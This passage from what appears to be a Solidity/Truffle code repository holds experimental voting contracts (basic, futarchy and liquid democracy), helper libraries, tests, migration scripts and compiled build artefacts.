"payable": false, 41 | "type": "function" 42 | }, 43 | { 44 | "constant": false, 45 | "inputs": [ 46 | { 47 | "name": "completed", 48 | "type": "uint256" 49 | } 50 | ], 51 | "name": "setCompleted", 52 | "outputs": [], 53 | "payable": false, 54 | "type": "function" 55 | }, 56 | { 57 | "inputs": [], 58 | "payable": false, 59 | "type": "constructor" 60 | } 61 | ], 62 | "unlinked_binary": "0x6060604052341561000c57fe5b5b60008054600160a060020a03191633600160a060020a03161790555b5b6101a0806100396000396000f300606060405263ffffffff60e060020a6000350416630900f0108114610042578063445df0ac146100605780638da5cb5b14610082578063fdacd576146100ae575bfe5b341561004a57fe5b61005e600160a060020a03600435166100c3565b005b341561006857fe5b61007061013d565b60408051918252519081900360200190f35b341561008a57fe5b610092610143565b60408051600160a060020a039092168252519081900360200190f35b34156100b657fe5b61005e600435610152565b005b6000805433600160a060020a03908116911614156101375781905080600160a060020a031663fdacd5766001546040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b151561012557fe5b6102c65a03f1151561013357fe5b5050505b5b5b5050565b60015481565b600054600160a060020a031681565b60005433600160a060020a039081169116141561016f5760018190555b5b5b505600a165627a7a723058206d4ce8a6fb6c743a8f1c5919f91e69653079e769b439edb0264a8546ac02365c0029", 63 | "networks": {}, 64 | "schema_version": "0.0.5", 65 | "updated_at": 1497262861003 66 | } -------------------------------------------------------------------------------- /Governance/BasicVote/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Governance/BasicVote/contracts/Vote.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | contract Vote { 4 | 5 | enum Party { Conservative, Labour, Libdem, Green } 6 | 7 | struct Voter { 8 | bool registered; 9 | bool voted; 10 | address delegate; 11 | } 12 | 13 | address chairPerson; 14 | // Party, represented as uint(party), to number of votes; 15 | mapping(uint => uint) public votes; 16 | mapping(address => Voter) voters; 17 | 18 | modifier onlyChair() { 19 | if (msg.sender != chairPerson) throw; 20 | _; 21 | } 22 | 23 | modifier registeredToVote() { 24 | if (voters[msg.sender].registered == false) throw; 25 | _; 26 | } 27 | 28 | modifier notYetVoted(address who) { 29 | if (voters[who].voted == true) throw; 30 | _; 31 | } 32 | 33 | modifier delegatedToVoteFor(address originalVoter) { 34 | if (voters[originalVoter].delegate != msg.sender) throw; 35 | _; 36 | } 37 | 38 | function Vote() { 39 | chairPerson = msg.sender; 40 | } 41 | 42 | function registerVoter(address voter) onlyChair { 43 | voters[voter].registered = true; 44 | } 45 | 46 | function unregisterVoter(address voter) onlyChair { 47 | voters[voter].registered = false; 48 | } 49 | 50 | function delegateVote(address delegate) registeredToVote { 51 | voters[msg.sender].delegate = delegate; 52 | } 53 | 54 | function castVote(Party vote) 55 | registeredToVote 56 | notYetVoted(msg.sender) 57 | { 58 | castVote(msg.sender, vote); 59 | } 60 | 61 | function castDelegateVote(address originalVoter, Party vote) 62 | delegatedToVoteFor(originalVoter) 63 | notYetVoted(originalVoter) 64 | { 65 | castVote(originalVoter, vote); 66 | } 67 | 68 | function castVote(address voter, Party vote) private { 69 | votes[uint(vote)] += 1; 70 | voters[voter].voted = true; 71 | } 72 | 73 | } -------------------------------------------------------------------------------- /Governance/BasicVote/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Governance/BasicVote/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var Vote = artifacts.require("./Vote.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Vote); 5 | }; 6 | -------------------------------------------------------------------------------- /Governance/BasicVote/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8545, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /Governance/Futarchy/build/contracts/Migrations.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Migrations", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "new_address", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "upgrade", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "last_completed_migration", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "uint256" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": true, 32 | "inputs": [], 33 | "name": "owner", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "address" 38 | } 39 | ], 40 | "payable": false, 41 | "type": "function" 42 | }, 43 | { 44 | "constant": false, 45 | "inputs": [ 46 | { 47 | "name": "completed", 48 | "type": "uint256" 49 | } 50 | ], 51 | "name": "setCompleted", 52 | "outputs": [], 53 | "payable": false, 54 | "type": "function" 55 | }, 56 | { 57 | "inputs": [], 58 | "payable": false, 59 | "type": "constructor" 60 | } 61 | ], 62 | "unlinked_binary": "0x6060604052341561000c57fe5b5b60008054600160a060020a03191633600160a060020a03161790555b5b6101a0806100396000396000f300606060405263ffffffff60e060020a6000350416630900f0108114610042578063445df0ac146100605780638da5cb5b14610082578063fdacd576146100ae575bfe5b341561004a57fe5b61005e600160a060020a03600435166100c3565b005b341561006857fe5b61007061013d565b60408051918252519081900360200190f35b341561008a57fe5b610092610143565b60408051600160a060020a039092168252519081900360200190f35b34156100b657fe5b61005e600435610152565b005b6000805433600160a060020a03908116911614156101375781905080600160a060020a031663fdacd5766001546040518263ffffffff1660e060020a02815260040180828152602001915050600060405180830381600087803b151561012557fe5b6102c65a03f1151561013357fe5b5050505b5b5b5050565b60015481565b600054600160a060020a031681565b60005433600160a060020a039081169116141561016f5760018190555b5b5b505600a165627a7a723058204b8e9fad692ae7c934a7b6aaae44504c8dc77b88361be16ccbce5bdd6e2b65520029", 63 | "networks": { 64 | "1497442631109": { 65 | "events": {}, 66 | "links": {}, 67 | "address": "0xf079d63c5876f8beacd4e15483cf2cd5d01622c1", 68 | "updated_at": 1497457401527 69 | } 70 | }, 71 | "schema_version": "0.0.5", 72 | "updated_at": 1497457401527 73 | } -------------------------------------------------------------------------------- /Governance/Futarchy/build/contracts/Ownable.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Ownable", 3 | "abi": [ 4 | { 5 | "constant": true, 6 | "inputs": [], 7 | "name": "owner", 8 | "outputs": [ 9 | { 10 | "name": "", 11 | "type": "address" 12 | } 13 | ], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": false, 19 | "inputs": [ 20 | { 21 | "name": "newOwner", 22 | "type": "address" 23 | } 24 | ], 25 | "name": "transferOwnership", 26 | "outputs": [], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "inputs": [], 32 | "payable": false, 33 | "type": "constructor" 34 | } 35 | ], 36 | "unlinked_binary": "0x6060604052341561000c57fe5b5b60008054600160a060020a03191633600160a060020a03161790555b5b60f3806100386000396000f300606060405263ffffffff60e060020a6000350416638da5cb5b8114602a578063f2fde38b146053575bfe5b3415603157fe5b6037606e565b60408051600160a060020a039092168252519081900360200190f35b3415605a57fe5b606c600160a060020a0360043516607d565b005b600054600160a060020a031681565b60005433600160a060020a0390811691161460985760006000fd5b600160a060020a0381161560c25760008054600160a060020a031916600160a060020a0383161790555b5b5b505600a165627a7a7230582042669a1a9f66c4838d6b6ba117d16aeca6440a451d18365208b7004aea702af00029", 37 | "networks": {}, 38 | "schema_version": "0.0.5", 39 | "updated_at": 1497457104006 40 | } -------------------------------------------------------------------------------- /Governance/Futarchy/contracts/ERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.11; 2 | 3 | contract ERC20 { 4 | // Removed in favour of auto created getter function 5 | // function totalSupply() constant returns (uint supply); 6 | function balanceOf( address who ) constant returns (uint value); 7 | function allowance( address owner, address spender ) constant returns (uint _allowance); 8 | 9 | function transfer( address to, uint value) returns (bool ok); 10 | function transferFrom( address from, address to, uint value) returns (bool ok); 11 | function approve( address spender, uint value ) returns (bool ok); 12 | 13 | event Transfer( address indexed from, address indexed to, uint value); 14 | event Approval( address indexed owner, address indexed spender, uint value); 15 | } -------------------------------------------------------------------------------- /Governance/Futarchy/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Governance/Futarchy/contracts/Ownable.sol: -------------------------------------------------------------------------------- 1 | // Copied from OpenZeppelin. 2 | pragma solidity ^0.4.11; 3 | 4 | 5 | /** 6 | * @title Ownable 7 | * @dev The Ownable contract has an owner address, and provides basic authorization control 8 | * functions, this simplifies the implementation of "user permissions". 9 | */ 10 | contract Ownable { 11 | address public owner; 12 | 13 | 14 | /** 15 | * @dev The Ownable constructor sets the original `owner` of the contract to the sender 16 | * account. 17 | */ 18 | function Ownable() { 19 | owner = msg.sender; 20 | } 21 | 22 | 23 | /** 24 | * @dev Throws if called by any account other than the owner. 25 | */ 26 | modifier onlyOwner() { 27 | if (msg.sender != owner) { 28 | throw; 29 | } 30 | _; 31 | } 32 | 33 | 34 | /** 35 | * @dev Allows the current owner to transfer control of the contract to a newOwner. 36 | * @param newOwner The address to transfer ownership to. 37 | */ 38 | function transferOwnership(address newOwner) onlyOwner { 39 | if (newOwner != address(0)) { 40 | owner = newOwner; 41 | } 42 | } 43 | 44 | } -------------------------------------------------------------------------------- /Governance/Futarchy/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations); 5 | }; 6 | -------------------------------------------------------------------------------- /Governance/Futarchy/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | var VoteToken = artifacts.require("./VoteToken.sol") 2 | var FutarchyVote = artifacts.require("./FutarchyVote.sol") 3 | 4 | module.exports = function(deployer) { 5 | 6 | var voteDuration = 30 // 30 seconds (probably a week or so in reality) 7 | var testPeriodDuration = 30 // 30 seconds (probably a year or so in reality) 8 | 9 | deployer.deploy(VoteToken, 1000) 10 | .then(() => deployer.deploy(FutarchyVote, VoteToken.address, voteDuration, testPeriodDuration)) 11 | }; 12 | -------------------------------------------------------------------------------- /Governance/Futarchy/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8545, 6 | network_id: "*" // Match any network id 7 | } 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /Governance/Futarchy/ts.js: -------------------------------------------------------------------------------- 1 | var FutarchyVote = artifacts.require("./FutarchyVote.sol") 2 | var VoteToken = artifacts.require("./VoteToken.sol") 3 | 4 | var futarchyVote = FutarchyVote.at(FutarchyVote.address) 5 | var voteToken = VoteToken.at(VoteToken.address) 6 | 7 | var voteTokenBalances = () => { 8 | displayTokenBalance(web3.eth.accounts[0], "Acc 0 balance: ") 9 | displayTokenBalance(web3.eth.accounts[1], "Acc 1 balance: ") 10 | displayTokenBalance(web3.eth.accounts[2], "Acc 2 balance: ") 11 | displayTokenBalance(FutarchyVote.address, "Futarchy balance: ") 12 | } 13 | 14 | var displayTokenBalance = (account, displayStatment) => 15 | voteToken.balanceOf(account).then(balance => console.log(displayStatment + balance.toNumber())) 16 | 17 | var futarchyBalance = () => voteToken.balanceOf(FutarchyVote.address) 18 | .then(futarchyBalance => console.log("Futarchy balance: " + futarchyBalance.toNumber())) 19 | 20 | var approveVotes = (numberOfVotes, fromAddress) => 21 | voteToken.approve(FutarchyVote.address, 0, { from: fromAddress }) 22 | .then(tx => voteToken.approve(FutarchyVote.address, numberOfVotes, { from: fromAddress })) 23 | 24 | // BASIC DETAILS 25 | voteTokenBalances() 26 | futarchyVote.voteEndTime().then(time => console.log(new Date(time.toNumber() * 1000))) 27 | 28 | // TRANSFER VOTE TOKENS TO ACCOUNT 1 29 | // voteToken.transfer(web3.eth.accounts[1], 300) 30 | // voteToken.transfer(web3.eth.accounts[2], 100) 31 | 32 | // APPROVE AND COMMIT 'FOR' VOTES 33 | // approveVotes(20, web3.eth.accounts[0]) 34 | // .then(tx => futarchyVote.voteFor(20)) 35 | // .then(tx => futarchyVote.votesFor()) 36 | // .then(votesFor => { 37 | // console.log("Votes for: " + votesFor) 38 | // futarchyBalance() 39 | // }) 40 | 41 | // APPROVE AND COMMIT 'AGAINST' VOTES 42 | // approveVotes(30, web3.eth.accounts[1]) 43 | // .then(tx => futarchyVote.voteAgainst(30, { from: web3.eth.accounts[1] })) 44 | // .then(tx => futarchyVote.votesAgainst()) 45 | // .then(votesAgainst => { 46 | // console.log("Votes against: " + votesAgainst) 47 | // futarchyBalance() 48 | // }) 49 | 50 | // approveVotes(15, web3.eth.accounts[2]) 51 | // .then(tx => futarchyVote.voteAgainst(15, { from: web3.eth.accounts[2] })) 52 | // .then(tx => futarchyVote.votesAgainst()) 53 | // .then(votesAgainst => { 54 | // console.log("Votes against: " + votesAgainst) 55 | // futarchyBalance() 56 | // }) 57 | 58 | // DISPLAY WINNER 59 | // futarchyVote.votedFor() 60 | // .then(votedInFavour => console.log("Winner: " + (votedInFavour ? "for" : "against"))) 61 | 62 | // SPECIFY SUCCESS AND RETURN FUNDS 63 | // futarchyVote.testPeriodSuccess(true) 64 | // .then(tx => futarchyVote.claimReward({ from: web3.eth.accounts[0] })) 65 | // .then(tx => futarchyVote.claimReward({ from: web3.eth.accounts[1] })) 66 | // .then(tx => futarchyVote.claimReward({ from: web3.eth.accounts[2] })) 67 | 68 | module.exports = (callback) => {} 69 | -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/contracts/Helpers/ArrayLib.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | library ArrayLib { 4 | 5 | function removeElement(address[] storage self, uint position) { 6 | require(self.length > 0); 7 | 8 | uint lastElement = self.length - 1; 9 | self[position] = self[lastElement]; 10 | self.length = self.length - 1; 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/contracts/Helpers/LinkedList.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | // Inspired by: https://github.com/o0ragman0o/LibCLL/blob/master/LibCLL.sol 4 | // TODO: Extract Ascending LinkedList functionality. 5 | library LinkedList { 6 | 7 | uint public constant HEAD_AND_TAIL = 0; 8 | 9 | struct Node { 10 | uint previousNode; 11 | uint nextNode; 12 | } 13 | 14 | struct LinkedList { 15 | mapping (uint => Node) linkedList; 16 | uint size; 17 | } 18 | 19 | function notHeadOrTail(uint nodeId) { 20 | if (nodeId == HEAD_AND_TAIL) throw; 21 | } 22 | 23 | function isNode(LinkedList storage self, uint nodeId) internal returns (bool) { 24 | if (self.linkedList[nodeId].previousNode == HEAD_AND_TAIL 25 | && self.linkedList[nodeId].nextNode == HEAD_AND_TAIL 26 | && self.linkedList[HEAD_AND_TAIL].previousNode != nodeId) return false; 27 | return true; 28 | } 29 | 30 | function headTailIndex() constant returns (uint) { 31 | return HEAD_AND_TAIL; 32 | } 33 | 34 | function getNode(LinkedList storage self, uint nodeId) 35 | internal 36 | constant 37 | returns (Node storage) 38 | { 39 | require(isNode(self, nodeId)); 40 | return self.linkedList[nodeId]; 41 | } 42 | 43 | function validAscendingInsertion(LinkedList storage self, uint previousNodeId, uint newNode) 44 | internal 45 | returns (bool) 46 | { 47 | Node previousNode = self.linkedList[previousNodeId]; 48 | if (previousNodeId > newNode || (previousNode.nextNode < newNode && previousNode.nextNode != 0)) return false; 49 | return true; 50 | } 51 | 52 | function insert(LinkedList storage self, uint previousNode, uint newNode) 53 | internal 54 | { 55 | require(isNode(self, previousNode)); 56 | require(!isNode(self, newNode)); 57 | require(validAscendingInsertion(self, previousNode, newNode)); 58 | 59 | uint existingNextNode = self.linkedList[previousNode].nextNode; 60 | stitch(self, previousNode, newNode); 61 | stitch(self, newNode, existingNextNode); 62 | self.size++; 63 | } 64 | 65 | function remove(LinkedList storage self, uint nodeId) 66 | internal 67 | returns (uint) 68 | { 69 | notHeadOrTail(nodeId); 70 | require(isNode(self, nodeId)); 71 | 72 | stitch(self, self.linkedList[nodeId].previousNode, self.linkedList[nodeId].nextNode); 73 | delete self.linkedList[nodeId].previousNode; 74 | delete self.linkedList[nodeId].nextNode; 75 | self.size--; 76 | return nodeId; 77 | } 78 | 79 | function stitch(LinkedList storage self, uint previousNode, uint newNode) 80 | private 81 | { 82 | self.linkedList[newNode].previousNode = previousNode; 83 | self.linkedList[previousNode].nextNode = newNode; 84 | } 85 | 86 | function getPreviousNodePosition(LinkedList storage self, uint newNode) public constant returns (uint) { 87 | uint currentNode = HEAD_AND_TAIL; 88 | while (self.linkedList[currentNode].nextNode != 0 && self.linkedList[currentNode].nextNode < newNode) { 89 | currentNode = self.linkedList[currentNode].nextNode; 90 | } 91 | return currentNode; 92 | } 93 | 94 | } -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/contracts/LiquidVote.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "./MiniMeToken.sol"; 4 | import "./Helpers/ArrayLib.sol"; 5 | import "./DelegationRegistry.sol"; 6 | 7 | // TODO: Split into a delegation registry and a vote contract. Enable Topics somehow... 8 | // Delegation registry should probably be copied for each new vote. So delegations can change for each specific vote. 9 | contract LiquidVote { 10 | 11 | using ArrayLib for address[]; 12 | 13 | MiniMeToken private voteToken; 14 | DelegationRegistry private delegationRegistry; 15 | 16 | struct Voter { 17 | bool voteDirection; 18 | uint voteDirectionArrayPosition; 19 | bool hasVoted; 20 | } 21 | 22 | mapping(address => Voter) public voters; 23 | 24 | address[] public votedFor; 25 | address[] public votedAgainst; 26 | 27 | function LiquidVote(address voteTokenAddress, address delegationRegistryAddress){ 28 | voteToken = MiniMeToken(voteTokenAddress); 29 | delegationRegistry = DelegationRegistry(delegationRegistryAddress); 30 | } 31 | 32 | // function hasVoted(address voterAddress) public constant returns (bool) { return voters[voterAddress].hasVoted; } 33 | 34 | function getVotedForAddresses() public constant returns (address[]) { 35 | return votedFor; 36 | } 37 | 38 | function getVotedAgainstAddresses() public constant returns (address[]) { 39 | return votedAgainst; 40 | } 41 | 42 | function hasDelegatedVote(address voter) public constant returns (bool) { 43 | address delegatedVoterAddress = delegationRegistry.getDelegatedVoterToAddress(voter); 44 | return delegatedVoterAddress != 0x0; 45 | } 46 | 47 | // TODO: Must prevent voting if currently delegated, must remove delegation first. 48 | function vote(bool _voteDirection) public { // true to vote for, false to vote against 49 | require(!hasDelegatedVote(msg.sender)); 50 | 51 | Voter storage voter = voters[msg.sender]; 52 | 53 | if (voter.hasVoted) { 54 | if (voter.voteDirection == _voteDirection) { revert(); } 55 | voter.voteDirection 56 | ? votedFor.removeElement(voter.voteDirectionArrayPosition) 57 | : votedAgainst.removeElement(voter.voteDirectionArrayPosition); 58 | } else { 59 | voter.hasVoted = true; 60 | voter.voteDirection = _voteDirection; 61 | } 62 | 63 | if (_voteDirection) { 64 | voter.voteDirectionArrayPosition = votedFor.length; 65 | votedFor.push(msg.sender); 66 | } else { 67 | voter.voteDirectionArrayPosition = votedAgainst.length; 68 | votedAgainst.push(msg.sender); 69 | } 70 | } 71 | 72 | function calculateVotes() public constant returns (uint) { 73 | 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/contracts/Migrations.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.4; 2 | 3 | contract Migrations { 4 | address public owner; 5 | uint public last_completed_migration; 6 | 7 | modifier restricted() { 8 | if (msg.sender == owner) _; 9 | } 10 | 11 | function Migrations() { 12 | owner = msg.sender; 13 | } 14 | 15 | function setCompleted(uint completed) restricted { 16 | last_completed_migration = completed; 17 | } 18 | 19 | function upgrade(address new_address) restricted { 20 | Migrations upgraded = Migrations(new_address); 21 | upgraded.setCompleted(last_completed_migration); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | var Migrations = artifacts.require("./Migrations.sol") 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(Migrations) 5 | } 6 | -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/migrations/2_deploy_contracts.js: -------------------------------------------------------------------------------- 1 | const ArrayLib = artifacts.require("./ArrayLib.sol") 2 | const LinkedList = artifacts.require("./LinkedList.sol") 3 | const LiquidVote = artifacts.require("./LiquidVote.sol") 4 | 5 | module.exports = async (deployer) => { 6 | await deployer.deploy(ArrayLib) 7 | await deployer.deploy(LinkedList) 8 | // deployer.link(ArrayLib, LiquidVote) 9 | // deployer.deploy(LiquidVote) 10 | } 11 | -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/test/Helpers/ArrayLib/ArrayLibHarness.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "../../../contracts/helpers/ArrayLib.sol"; 4 | 5 | // TODO: This doesn't work with our setup as we retain indexes which change when this function is called but 6 | // aren't updated in the calling contracts. This can be fixed though. We could still use a LinkedList... 7 | contract ArrayLibHarness { 8 | 9 | using ArrayLib for address[]; 10 | 11 | address[] private storageArray; 12 | 13 | function removeElement(address[] array, uint position) public constant returns (address[]) { 14 | storageArray = array; 15 | storageArray.removeElement(position); 16 | return storageArray; 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/test/Helpers/ArrayLib/ArrayLibTest.js: -------------------------------------------------------------------------------- 1 | const ArrayLib = artifacts.require("./ArrayLib.sol") 2 | const ArrayLibHarness = artifacts.require("./ArrayLibHarness.sol") 3 | const TestUtils = require("../../../../../Utils/TestUtils") 4 | 5 | contract("ArrayLib", accounts => { 6 | 7 | let arrayLibHarness 8 | 9 | beforeEach(async () => { 10 | ArrayLibHarness.link("ArrayLib", ArrayLib.address) 11 | arrayLibHarness = await ArrayLibHarness.new() 12 | }) 13 | 14 | describe("removeElement(address[] array, uint position)", () => { 15 | 16 | it("fails if array is empty", async () => { 17 | const maxGas = 1000000; 18 | await TestUtils.assertThrows(() => arrayLibHarness.removeElement([], 0), maxGas) 19 | }) 20 | 21 | it("removes element at position 0", async () => { 22 | const originalArray = [accounts[0], accounts[1]] 23 | const expectedArray = [accounts[1]] 24 | const actualArray = await arrayLibHarness.removeElement(originalArray, 0) 25 | 26 | assert.deepEqual(actualArray, expectedArray, "Array is not as expected") 27 | }) 28 | 29 | it("removes element at end of array", async () => { 30 | const originalArray = [accounts[0], accounts[1], accounts[2]] 31 | const expectedArray = [accounts[0], accounts[1]] 32 | const actualArray = await arrayLibHarness.removeElement(originalArray, 2) 33 | 34 | assert.deepEqual(actualArray, expectedArray, "Array is not as expected") 35 | }) 36 | 37 | }) 38 | }) -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/test/Helpers/LinkedList/LinkedListHarness.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | import "../../../contracts/helpers/LinkedList.sol"; 4 | 5 | contract LinkedListHarness { 6 | 7 | using LinkedList for LinkedList.LinkedList; 8 | 9 | LinkedList.LinkedList private linkedList; 10 | 11 | function getNode(uint nodeId) public constant returns (uint256[2]) { 12 | LinkedList.Node storage node = linkedList.getNode(nodeId); 13 | return [node.previousNode, node.nextNode]; 14 | } 15 | 16 | function insert(uint previousNode, uint newNode) public { 17 | linkedList.insert(previousNode, newNode); 18 | } 19 | 20 | function getPreviousNodePosition(uint newNode) public constant returns (uint) { 21 | return linkedList.getPreviousNodePosition(newNode); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/test/Helpers/LinkedList/LinkedListTest.js: -------------------------------------------------------------------------------- 1 | const LinkedList = artifacts.require("LinkedList.sol") 2 | const LinkedListHarness = artifacts.require("LinkedListHarness.sol") 3 | 4 | contract("LinkedList", () => { 5 | 6 | let linkedListHarness 7 | 8 | beforeEach(async () => { 9 | // linkedList = await LinkedList.new() 10 | LinkedListHarness.link("LinkedList", LinkedList.address) 11 | linkedListHarness = await LinkedListHarness.new() 12 | }) 13 | 14 | describe("insert(uint previousNode, uint newNode)", () => { 15 | 16 | it("inserts new node with correct previous and next nodes", async () => { 17 | await linkedListHarness.insert(0, 12) 18 | const insertedNode = await linkedListHarness.getNode(12) 19 | 20 | assert.equal(insertedNode[0], 0, "Inserted node's previous node is incorrect") 21 | assert.equal(insertedNode[1], 0, "Inserted node's next node is incorrect") 22 | }) 23 | }) 24 | 25 | describe("getPreviousNodePosition(LinkedList storage self, uint newNode)", () => { 26 | 27 | it("gets the correct previous node", async () => { 28 | await linkedListHarness.insert(0, 12) 29 | await linkedListHarness.insert(12, 14) 30 | await linkedListHarness.insert(14, 20) 31 | const previousNodePosition = await linkedListHarness.getPreviousNodePosition(21) 32 | 33 | assert.equal(previousNodePosition.toNumber(), 20, "Previous node position is incorrect") 34 | }) 35 | }) 36 | }) -------------------------------------------------------------------------------- /Governance/LiquidDemocracy/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | networks: { 3 | development: { 4 | host: "localhost", 5 | port: 8544, 6 | network_id: "*" // Match any network id 7 | } 8 | }, 9 | 10 | compilers: { 11 | solc: { 12 | version: "0.4.15", // Fetch exact version from solc-bin (default: truffle's version) 13 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 14 | // settings: { // See the solidity docs for advice about optimization and evmVersion 15 | // optimizer: { 16 | // enabled: false, 17 | // runs: 200 18 | // }, 19 | // evmVersion: "byzantium" 20 | // } 21 | } 22 | } 23 | }; 24 | -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/build/contracts/FeeVote.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "FeeVote", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "self", 9 | "type": "FeeVote.FeeVote storage" 10 | }, 11 | { 12 | "name": "sealedVoteHash", 13 | "type": "bytes32" 14 | } 15 | ], 16 | "name": "castVote", 17 | "outputs": [], 18 | "payable": false, 19 | "type": "function" 20 | } 21 | ], 22 | "unlinked_binary": "0x60606040523415600b57fe5b5b607c8061001a6000396000f300606060405263ffffffff60e060020a600035041663a4a8b0a381146020575bfe5b602c600435602435602e565b005b600160a060020a033316600090815260058301602052604090208190555b50505600a165627a7a72305820aa7480038730246dd1e9a601cd15a44df475b26fd404dee8b621358e809b27520029", 23 | "networks": { 24 | "1499164187760": { 25 | "events": {}, 26 | "links": {}, 27 | "address": "0x785ebf214193659b24b96fbe0c0945d84525eb91", 28 | "updated_at": 1499169271226 29 | }, 30 | "1500131755018": { 31 | "events": {}, 32 | "links": {}, 33 | "address": "0xacfe4c81c308fe0f575ce6f80890e0eb8a7fcbda", 34 | "updated_at": 1500233949372 35 | } 36 | }, 37 | "schema_version": "0.0.5", 38 | "updated_at": 1500233949372 39 | } -------------------------------------------------------------------------------- /Governance/LiquidLockableVote/build/contracts/LinkedList.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "LinkedList", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "nodeId", 9 | "type": "uint256" 10 | } 11 | ], 12 | "name": "notHeadOrTail", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "headTailIndex", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "uint256" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": true, 32 | "inputs": [], 33 | "name": "HEAD_AND_TAIL", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "uint256" 38 | } 39 | ], 40 | "payable": false, 41 | "type": "function" 42 | } 43 | ], 44 | "unlinked_binary": "0x6060604052341561000c57fe5b5b60b68061001b6000396000f300606060405263ffffffff60e060020a600035041663507d6f16811460345780638f6753ef14603f578063fcc6087d146057575bfe5b603d600435606f565b005b6045607f565b60408051918252519081900360200190f35b60456085565b60408051918252519081900360200190f35b801515607b5760006000fd5b5b50565b60005b90565b6000815600a165627a7a72305820e645bc9e17fac86ce75cfd7453dc95738b2238927f386e08a9d55128811af67f0029", 45 | "networks": { 46 | "1499164187760": { 47 | "events": {}, 48 | "links": {}, 49 | "address": "0x274beb445fc538c19800acfa06393971aad77557", 50 | "updated_at": 1499169271226 51 | }, 52 | "1500131755018": { 53 | "events": {}, 54 | "links": {}, 55 | "address": "0xf9303d72b44b3b1febd59b6e530a275b62263b96", 56 | "updated_at": 1500233949372 57 | 